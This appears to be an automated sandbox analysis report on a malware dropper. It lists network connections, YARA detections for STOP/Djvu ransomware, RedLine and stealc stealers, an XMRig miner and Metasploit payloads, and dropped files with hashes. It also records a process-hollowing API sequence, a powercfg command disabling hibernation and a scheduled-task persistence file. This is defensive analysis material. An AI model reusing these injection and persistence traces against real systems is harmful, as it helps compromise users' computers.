Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.63.30:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.63.30:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.148.102:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.217:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.145:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.83:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.20:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49784 version: TLS 1.2

Source: 3QKcKCEzYP.exe, 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: morebuf={pc:: no frame (sp=runtime: frame runtimer: bad ptraceback stuckmissing address/etc/mdns.allowunknown network is unavailableHanifi_RohingyaPsalter_PahlaviRegCreateKeyExWRegDeleteValueWinvalid boolean0601021504Z0700non-minimal tagunknown Go typeinvalid paddingaccept-encodingaccept-languageAccept-EncodingPartial ContentRequest TimeoutLength RequiredNot ImplementedGateway Timeoutunexpected typebad trailer keyGAUGE_HISTOGRAMGroup: bad kindExcludeClipRectGetEnhMetaFileWGetTextMetricsWPlayEnhMetaFileGdiplusShutdownGetThreadLocaleOleUninitializewglGetCurrentDCDragAcceptFilesCallWindowProcWCreatePopupMenuCreateWindowExWDialogBoxParamWGetActiveWindowGetDpiForWindowGetRawInputDataInsertMenuItemWIsWindowEnabledPostQuitMessageSetActiveWindowSetWinEventHookTrackMouseEventWindowFromPointDrawThemeTextExreflectlite.Setjstmpllitinterptarinsecurepathzipinsecurepathinvalid pointerBelowExactAbove#multipartfilesAccept-LanguageX-Forwarded-For()<>@,;:\"/[]?=Cardinality(%d)weak_dependencyextension_rangeproto3_optionalunverified_lazyfeature_supportutf8_validationaggregate_valueedition_removedinvalid kind %vavx512vpopcntdqCLSIDFromProgIDStringFromCLSIDContainingOneofRequiredNumbersExtensionRanges0123456789abcdefDuplicateTokenExOpenProcessTokenRegQueryInfoKeyWRegQueryValueExWSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectDnsNameCompare_WConnectNamedPipeCreateDirectoryWCreateJobObjectWCreateNamedPipeWDefineDosDeviceWFindFirstVolumeWFlushFileBuffersGetComputerNameWGetFullPathNameWGetLogicalDrivesGetLongPathNameWGetNamedPipeInfoGetPriorityClassRemoveDirectoryWSetDllDirectoryWSetFileValidDataSetPriorityClassTerminateProcessVirtualProtectExNetApiBufferFreeRtlGetCurrentPebEnumChildWindowsGetDesktopWindowGetGUIThreadInfoWinVerifyTrustExreflect.MakeFunc: value of type time: bad [0-9]*ManifestResourceTrack Debug Data32-Bit PreferredUWOP_PUSH_NONVOLUWOP_ALLOC_SMALLUWOP_SAVE_NONVOLUWOP_SAVE_XMM128no imports foundLineNumsStrippedBytesReservedLowGreenlandic (kl)Kinyarwanda (rw)Mapudungun (arn)Sindhi (sd-Arab)Initialized DataAlign 1024-BytesAlign 2048-BytesAlign 4096-BytesAlign 8192-BytesgetprotobynumberWSCEnumProtocolsSysReAllocStringSafeArrayDestroyVarFormatPercentSysStringByteLenBSTR_UserMarshalVARIANT_UserSizeVARIANT_UserFreeLPSAFEARRAY_SizeOACreateTypeLib2VarDateFromUdateVarUdateFromDateGetAltMonthNamesOleLoadPictureExNtSuspendProcessSeDebugPrivilegeinvalid exchangeno route to hostinvalid argumentmessage too longobject is remoteremote I/O errorSetFilePointerEx23841857910156250123456789ABCDEFGODEBUG: value "integer overflowgcshrinkstackofftracefpunwindoffGC scavenge waitGC worker (idle) out of bounds [/gc/gogc:percent, not a functiongc: unswept span KiB work (bg), mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary dataruntime: addr = runtime: base = runtime: head = already; errno=

memstr_a2ad66ac-9

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MrBEu6cm6HagE9yrmXV8x4AG.exe PID: 6096, type: MEMORYSTR

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 3164, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 45.3.erzljnhmzkuz.exe.850000.2.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 45.3.erzljnhmzkuz.exe.850000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 45.3.erzljnhmzkuz.exe.850000.2.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 45.3.erzljnhmzkuz.exe.850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 45.3.erzljnhmzkuz.exe.850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 45.3.erzljnhmzkuz.exe.850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000009.00000002.2654215654.000000C000200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.2654215654.000000C0002C2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: MrBEu6cm6HagE9yrmXV8x4AG.exe PID: 6096, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: erzljnhmzkuz.exe PID: 6780, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

PE file contains section with special chars

Source: 3QKcKCEzYP.exe	Static PE information: section name: .vmp/#D
Source: 3QKcKCEzYP.exe	Static PE information: section name: .vmp/#D
Source: 3QKcKCEzYP.exe	Static PE information: section name: .vmp/#D

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02200110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	5_2_02200110
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0F48 NtProtectVirtualMemory,	8_2_05CB0F48
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB2040 NtResumeThread,	8_2_05CB2040
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0F43 NtProtectVirtualMemory,	8_2_05CB0F43
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB203B NtResumeThread,	8_2_05CB203B

Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe

File created: C:\Windows\TEMP\hbxzipnhyvsr.sys

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\bhigQxvKbgfszOKTET.job

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015FD050	4_2_015FD050
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015FA449	4_2_015FA449
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015F74B0	4_2_015F74B0
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015F96F0	4_2_015F96F0
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015F1B70	4_2_015F1B70
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015F713D	4_2_015F713D
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015F1B5F	4_2_015F1B5F
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F72F0	4_2_018F72F0
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F1520	4_2_018F1520
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018FB437	4_2_018FB437
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F09C8	4_2_018F09C8
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F2F60	4_2_018F2F60
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F5E00	4_2_018F5E00
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F13E8	4_2_018F13E8
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018FD340	4_2_018FD340
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018FD350	4_2_018FD350
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F72E0	4_2_018F72E0
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F863F	4_2_018F863F
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F9F17	4_2_018F9F17
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018F2F59	4_2_018F2F59
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_05CE2FDC	4_2_05CE2FDC
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_00401FC0	5_2_00401FC0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02207220	5_2_02207220
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_022822C0	5_2_022822C0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0224E37C	5_2_0224E37C
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02207393	5_2_02207393
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220A026	5_2_0220A026
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0221F030	5_2_0221F030
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220B000	5_2_0220B000
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220B0B0	5_2_0220B0B0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_022070E0	5_2_022070E0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_022030F0	5_2_022030F0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_022100D0	5_2_022100D0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02209120	5_2_02209120
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0224E141	5_2_0224E141
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0222D1A4	5_2_0222D1A4
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220A699	5_2_0220A699
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0224B69F	5_2_0224B69F
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220E6E0	5_2_0220E6E0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220C760	5_2_0220C760
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220A79A	5_2_0220A79A
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0222D7F1	5_2_0222D7F1
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02203520	5_2_02203520
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02207520	5_2_02207520
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220CA10	5_2_0220CA10
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02207A80	5_2_02207A80
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02210B00	5_2_02210B00
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02202B60	5_2_02202B60
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220DBE0	5_2_0220DBE0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02207880	5_2_02207880
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_022218D0	5_2_022218D0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0221A930	5_2_0221A930
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0220A916	5_2_0220A916
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0222E9A3	5_2_0222E9A3
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0222F9B0	5_2_0222F9B0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_022059F7	5_2_022059F7
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_022089D0	5_2_022089D0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02208E60	5_2_02208E60
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02234E9F	5_2_02234E9F
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02242D1E	5_2_02242D1E
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02205DE7	5_2_02205DE7
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02205DF7	5_2_02205DF7
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_004162A6	6_2_004162A6
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_0040E5A5	6_2_0040E5A5
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_004126B0	6_2_004126B0
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_00403A01	6_2_00403A01
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_00418EF1	6_2_00418EF1
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_00418FCB	6_2_00418FCB
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_033CB680	8_2_033CB680
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_033CAFF0	8_2_033CAFF0
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_033CB000	8_2_033CB000
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CBC650	8_2_05CBC650
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CBC641	8_2_05CBC641
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0088	8_2_05CB0088
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB3B50	8_2_05CB3B50
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CCE558	8_2_05CCE558
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CCC4C8	8_2_05CCC4C8
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CCD9FD	8_2_05CCD9FD
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CCE548	8_2_05CCE548
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CCC4B8	8_2_05CCC4B8
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CC5F78	8_2_05CC5F78
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CCDA08	8_2_05CCDA08
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CDBD58	8_2_05CDBD58
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD142C	8_2_05CD142C
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CDB1CC	8_2_05CDB1CC
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD0040	8_2_05CD0040
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CDBD49	8_2_05CDBD49
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CDA7D0	8_2_05CDA7D0
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CDA7E0	8_2_05CDA7E0
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD2EA8	8_2_05CD2EA8
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD4100	8_2_05CD4100
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD4110	8_2_05CD4110
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD0011	8_2_05CD0011
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD52D8	8_2_05CD52D8
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CD52E8	8_2_05CD52E8
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05EB0040	8_2_05EB0040
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05EB0006	8_2_05EB0006
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05EB001C	8_2_05EB001C
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05EDBE40	8_2_05EDBE40
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05ED14AB	8_2_05ED14AB
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05EDC167	8_2_05EDC167
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05ED80C8	8_2_05ED80C8
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05ED80D8	8_2_05ED80D8
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05ED0040	8_2_05ED0040
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05EDD038	8_2_05EDD038
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05ED0006	8_2_05ED0006
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05ED8BC3	8_2_05ED8BC3
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_0612D8D0	8_2_0612D8D0
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_06110007	8_2_06110007
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_06110040	8_2_06110040
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_06131979	8_2_06131979
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_06131578	8_2_06131578
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_06131568	8_2_06131568

Source: Joe Sandbox View	Dropped File: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe 11128E278985BE292EC748D40794ED3B94392E540BE7F0B3C9A718A4FB4FC177
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe D343EA857CDF97AA0CCFD14970425C6888BD216D36AD7F6255A044BED36A4B2A
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c2d861a5b4d_google[1].exe 11128E278985BE292EC748D40794ED3B94392E540BE7F0B3C9A718A4FB4FC177

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: String function: 00403A9C appears 33 times
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: String function: 00413954 appears 179 times
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: String function: 02228EC0 appears 57 times
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: String function: 02230160 appears 50 times

Source: StyleControls%20VCL[1].exe.0.dr	Static PE information: Number of sections : 12 > 10
Source: yZBxqqQICO50PLfWYKwJeSL5.exe.0.dr	Static PE information: Number of sections : 12 > 10

Source: 3QKcKCEzYP.exe, 00000000.00000003.2283980308.0000024044F40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs 3QKcKCEzYP.exe
Source: 3QKcKCEzYP.exe, 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameStyleControls VCL.exeT4 vs 3QKcKCEzYP.exe
Source: 3QKcKCEzYP.exe, 00000000.00000003.2297572331.00000240461FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamestealc_default.exe0 vs 3QKcKCEzYP.exe
